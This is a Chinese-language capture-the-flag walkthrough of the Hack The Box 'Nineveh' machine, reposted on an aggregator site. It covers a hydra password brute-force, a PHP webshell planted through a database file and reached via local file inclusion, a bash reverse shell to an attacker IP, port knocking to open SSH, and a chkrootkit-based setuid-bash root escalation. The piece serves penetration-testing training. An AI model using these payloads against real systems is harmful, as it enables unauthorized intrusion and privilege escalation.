HTB-Nineveh

这篇具有很好参考价值的文章主要介绍了HTB-Nineveh。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

HTB-Nineveh

信息收集

HTB-Nineveh
HTB-Nineveh

80端口

HTB-Nineveh
目录扫描
HTB-Nineveh
/info.php目录
HTB-Nineveh

443端口

HTB-Nineveh

目录扫描
HTB-Nineveh
HTB-Nineveh
这完全没头绪,估计是信息收集漏了东西,重新来一遍。

80端口-新

哈,我就知道。
HTB-Nineveh
当我输入admin会发现抱错变成了密码不可用,说明admin用户存在。
HTB-Nineveh
HTB-Nineveh
没有任何提示,尝试一下hydra的暴力破解。

HTB-Nineveh
HTB-Nineveh

443端口-新

多了张图片secure_notes
HTB-Nineveh
对443登录进行hydra暴力破解,hydra -l aster -P /usr/share/wordlists/rockyou.txt 10.10.10.43 -s 443 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:F=Incorrect password." -v -t 64HTB-Nineveh
HTB-Nineveh
这有一篇利用的文章,大致类容就是我们可以通过创建一个php后缀的数据库文件并插入php代码实现php代码执行。HTB-Nineveh根据描述来做一遍,首先创建一个新数据库。
HTB-Nineveh
接着创建一个表,字段选一个。
HTB-Nineveh
然后输入字段名,类型为TEXT,默认值为<?php phpinfo()?>HTB-Nineveh

最后一步,需要我们运行它,但我们怎么运行它。创建完后可以返回查看更多信息。
HTB-Nineveh
比如数据库名,数据库路径,但是目前没有找到地方可以运行。
HTB-Nineveh
对两个端口分别做一次目录扫描看看。结果没有任何帮助,再次回头看80端口的department目录时候发现了引用notes的url路径有些可疑。
HTB-Nineveh
并且图片的路径也是。
HTB-Nineveh
怀疑可能存在LFI,测试输入ninevehNotes1.txt时出现了警告。
HTB-Nineveh
简单测试发现貌似url要包含files/ninevehNotes.txt才能够读取文件。
HTB-Nineveh
不包含就会这样。不会出现警告那些。
HTB-Nineveh
再次测试后更正前面的测试结果,url只需要包含files/ninevehNotes即可。
HTB-Nineveh
配合前面的数据库.php文件成功执行php代码。
HTB-Nineveh
现在有个问题如果我直接弄webshell,会遇到文件名长度限制。
HTB-Nineveh
所以需要优化一下LFI的payload,最终测试发现只用包含/ninevehNotes就可以,/ninevehNotes/../etc/passwd
HTB-Nineveh

立足

使用cmd=id,会发现目标把它当成文件名来处理了。
HTB-Nineveh
可以用/ninevehNotes/../var/tmp/aster.php&cmd=id来避开这个问题(建立webshell的时候用双引号来定义webshell的key,比如<?php system($_REQUEST["cmd"]);?>,单引号会被转义导致webshell不可用)。
HTB-Nineveh
与运算符"&"会被当做浏览器参数所以需要url编码,bash -c "bash -i >%26 /dev/tcp/10.10.14.31/443 0>%261"
HTB-Nineveh

www-data -> amrois

收集半天信息没有任何收获,只有在/var/www/ssl/secure_notes目录下有两个文件。
HTB-Nineveh
还有一个挑战。
HTB-Nineveh
所有线索都指向这张图片,对其使用strings发现了ssh的私钥以及公钥。
HTB-Nineveh

但是无法使用其登录amrois用户。binwalk表示nineveh.png还暗藏玄机。
HTB-Nineveh

加上-e参数分离。
HTB-Nineveh
又有许多东西,好好整理一下。
HTB-Nineveh
secret目录内的两个文件就是前面strings的ssh公钥私钥。
HTB-Nineveh

还有两个文件54和54.zlib暂时没有用处。在目标上查看进程发现了一个knockd。
HTB-Nineveh

knock是一个用来隐藏SSH的程序,客户端向服务端发送暗号对应上后才会从防火墙打开SSH服务器,断开后又会有新的暗号。查看一下knock的配置文件/etc/knockd.conf
HTB-Nineveh
openSSH中的序列就是暗号,也就是序列中的那几个号码,暗号需要按照序列的顺序来核对。那么我们怎么敲门呢?先做个实验,直接nmap对方22端口显示被过滤。
HTB-Nineveh
这时候我们开始敲门对暗号:knock 10.10.10.43 571 290 911

HTB-Nineveh

这时候目标已经对我们敞开了大门(要想关闭的话反过来敲一次即可)HTB-Nineveh

amrois -> root

使用pspy查看时间任务的时候发现很忙的样子。
HTB-Nineveh
这一堆东西的结果似乎都指向了/report目录。
HTB-Nineveh
根据结果知道,可能那一堆东西在检查某些二进制程序是否收到感染、一些可能会有敏感日志的位置是否存在日志等。
HTB-Nineveh
但是这一分钟生成一次,文件大小还是27K,久而久之会很吃空间的,所以猜测可能root或者amrois会有一个时间任务来清理一次。
HTB-Nineveh
HTB-Nineveh
另外在pspy64跑出来的进程中中我还发现了chown amrois:amrois /report/report-23-04-27:06:14.txt
HTB-Nineveh
如果是amrois用户自己的时间任务为啥还要修改用户和用户组,可能是root,也可能是诱饵。里面还有两个经常使用的脚本。

  • /bin/bash /root/vulnScan.sh
  • /bin/sh /usr/bin/chkrootkit

HTB-Nineveh
/usr/bin/chkrootkit是一个检查rootkit的工具。当我使用bash尝试启动它时出现了Permission denied。
HTB-Nineveh
但是我用sh启动尝试启动它出现了/bin/sh: 0: Can’t open /usr/bin/chkrootkit。
HTB-Nineveh
对bash和sh进行检查发现,/bin/sh链接到dash。dash最主要的目的是为了执行脚本,语言语法没有其他shell多,但是它执行脚本快。dash和bash都没有权限执行chkrootkit。
HTB-Nineveh
是的,看起来似乎没有入口,似乎无懈可击。但是对chkrootkit进行exploit搜索会有两个结果。
HTB-Nineveh
条件都满足,唯一不确定的是chkrootkit的版本。
HTB-Nineveh
在tmp创建一个update,内容如下:

#!/bin/bash
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash

HTB-Nineveh
修改update权限为777后耐心等待。
HTB-Nineveh

其他有意思的地方

knock knock - Who’s there?

PS:(本人菜鸟一枚,可能错误地方非常之多,欢迎大家指出)
我很好奇knock是通过发送什么来与目标进行核对,tcp包?还是udp包?或者是其他有意思的玩意?
通过knock在/etc/knockd.conf配置文件中能看到它通过暗号后向防火墙添加规则的命令:start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
向防火墙插入一条规则(-I),允许(-j ACCEPT)成功匹配暗号的IP(-s %IP%)发送tcp的数据包(-p tcp)到本地的22端口(--dport)。由于没有找到knock的源码(可能我忽略了什么),所以用我仅有的能力去逆向并尝试找到knock的关键。

knock向目标敲门的时候会发送hitting,表示正在敲门。
HTB-Nineveh
最先开始创建套接字,地址族为ai_family,套接字类型为SOCK_DGRAM(基于UDP),使用缺省的连接方式连接。
HTB-Nineveh
然后进行判断是否socket成功。
HTB-Nineveh
接着在处理主机名和端口正确的情况下,根据我们选择TCP还是UDP。
HTB-Nineveh
v9会创建我们选择的TCP套接字或UDP套接字。经过对主机、口令验证检查后打印出来。接着就是调用connect函数进行TCP连接。通过socket对目标及端口进行knock。
HTB-Nineveh
发送完后就进行结束处理的环节,然后准备处理下一个暗号。
HTB-Nineveh
所以knock是通过向目标端口发送TCP/UDP包,目标的knock收到并做一些记录表示完成暗号配对。所以我们也可以通过nmap来向目标发送tcp包。HTB-Nineveh
倒着敲门关闭大门后nmap对22端口的tcp包已被过滤。
HTB-Nineveh
对目标进行TCP发包nmap -Pn -p 571,290,911 10.10.10.43(-Pn 跳过发送ICMP包的过程,也就是默认目标存活),但nmap会帮我们按照端口大小顺序排序后发送TCP SYN包,所以不能用这种办法。

HTB-Nineveh

将重新发包次数设置为0后再次尝试。for port in {571,290,911};do nmap -Pn --max-retries 0 -p $port 10.10.10.43;done

HTB-Nineveh
不知道knock会不会对敲门的时间进行判断,以防万一还是加上--host-timeout参数for port in {571,290,911};do nmap -Pn --max-retries 0 --host-timeout 100 -p $port 10.10.10.43;done

但为什么nmap只用SYN包就能够完成一次TCP握手呢?首先大致看看TCP三次握手:

  1. 客户端第一次发送的SYN包给服务端表示来握手服务端收到
  2. 服务器收到后恢复ACK包给客户端表示可以,客户端收到后设置为单向和服务端连接
  3. 客户端向服务端发送SYN/ACK,服务端收到后设置为单向和客户端连接,此时TCP连接成功。

nmap 默认是SYN扫描,官方文档有写道。
HTB-Nineveh

而逆向所知道socket的类型是SOCK_STREAM ,是需要三次完全握手的,但如果我使用-sT全扫描,似乎knock并不接受三次握手。
HTB-Nineveh
至此,菜鸟的我对其分析结果如下:knock是以TCP SYN来对暗号,如果正确就返回ACK,不需要再次返回一次SYN/ACK,而只需要你问我答两次即可。

socket type

struct addrinfo结构体相关变量及其含义可以看看Stoneshen1211写的文章文章来源地址https://www.toymoban.com/news/detail-428157.html

enum sock_type {
SOCK_STREAM = 1,
SOCK_DGRAM = 2,
SOCK_RAW = 3, 
SOCK_RDM = 4, 
SOCK_SEQPACKET = 5, 
SOCK_DCCP = 6, 
SOCK_PACKET = 10,
};

到了这里,关于HTB-Nineveh的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全-信息收集】网络安全之信息收集和信息收集工具讲解(提供工具)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 工具下载百度网盘链接(包含所有用到的工具): 百度网盘 请输入提取码 百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固,

    2024年02月08日
    浏览(39)
  • 网络安全信息收集初探之域名信息收集

    扫描单个域名 批量扫描域名 oneforall 额外参数 ![在这里插入图片描述](https://img-blog.csdnimg.cn/615763f979ea453091ad715f69980555.png https://crt.sh/ https://search.censys.io/

    2024年02月13日
    浏览(41)
  • 4.1 - 信息收集 - 子域名收集

    「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」: 对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 子域名就是下一级域

    2024年02月05日
    浏览(28)
  • 《渗透测试》-前期信息收集及工具介绍01(信息收集简介、JSFinder、OneForAll)

    信息收集是指通过各种方式获取所需要的信息,以便我们在后续的渗透过程更好的进 行。比如目标站点IP、中间件、脚本语言、端口、邮箱等等。信息收集包含资产收集 但不限于资产收集。 1、信息收集是渗透测试成功的保障 2、更多的暴露面 3、更大的可能性 1、主动信息收

    2024年02月03日
    浏览(40)
  • 内网安全 信息收集(收集内网计算机的所有信息 进行攻击.)

    在   渗透测试人员 进入一个内 网后,面对的是一片 “ 未知的区域 ”,所以 渗透测试人员首先会对当前所 处的网络环境进行判断,通常的判断分为三种. (1) 我是谁? —— 对计算机的角色进行判断. (2)我在哪? —— 对目前机器所处位置区域的判断。 (3)这是哪?

    2024年02月02日
    浏览(36)
  • 渗透测试之信息收集篇-服务器子域名收集

    你可能对某个服务器渗透失败,没有发现入侵点,所以我们可以考虑扩大攻击面,对target.com的子域名 进行渗透,然后横向移动。 使用bbot对目标子域进行收集 https://github.com/blacklanternsecurity/bbot/wiki#installation 关于子域名收集,推荐一篇很好的文章,文章地址:https://blog.blackl

    2024年02月16日
    浏览(25)
  • 一款强大的红队信息收集和资产收集工具(Kscan)

    Kscan是一款纯go开发的全方位扫描器,具备端口扫描、协议检测、指纹识别等功能。支持协议1200+,协议指纹10000+,应用指纹2000+,暴力PJ协议10余种。 Kscan能够接受多种输入格式,无需在使用之前对扫描对象进行分类,比如区分为IP,还是URL地址等,这对于使用者来说无疑是徒

    2023年04月08日
    浏览(27)
  • kali metasploit 信息收集

    1.msf nmao扫描 nmap -v -sV 192.168.111.128 扫描我内网里一台win10主机 2.msf模块 search portscan 搜索portscan模块 SYN半连接扫描 SYN扫描是恶意黑客不建立完全连接,用来判断通信端口状态的一种手段。这种方法是最老的一种攻击手段,有时用来进行拒绝服务攻击。 SYN扫描也称半开放扫描。

    2023年04月15日
    浏览(28)
  • 渗透测试 | IP信息收集

    0x00 前言         信息收集可以说是在渗透测试中最重要的一部分,好比说一个特工接到一个任务,要求窃取 A 建筑内的情报,那么这个特工首先要进行信息收集,了解这个建筑的保卫情况、建筑地图、人员信息、情报位置等。收集到建筑的信息越多,就说明渗透测试的攻

    2024年02月04日
    浏览(37)
  • 渗透测试——信息收集(详细)

    前言: 信息收集是渗透测试除了授权之外的第一步,也是关键的一步,尽量多的收集目标的信息会给后续的渗透事半功倍。收集信息的思路有很多,例如: 页面信息收集、域名信息收集、敏感信息收集、子域名收集、端口探测、CMS指纹识别、查找真实IP、敏感目录/文件收集

    2024年02月13日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包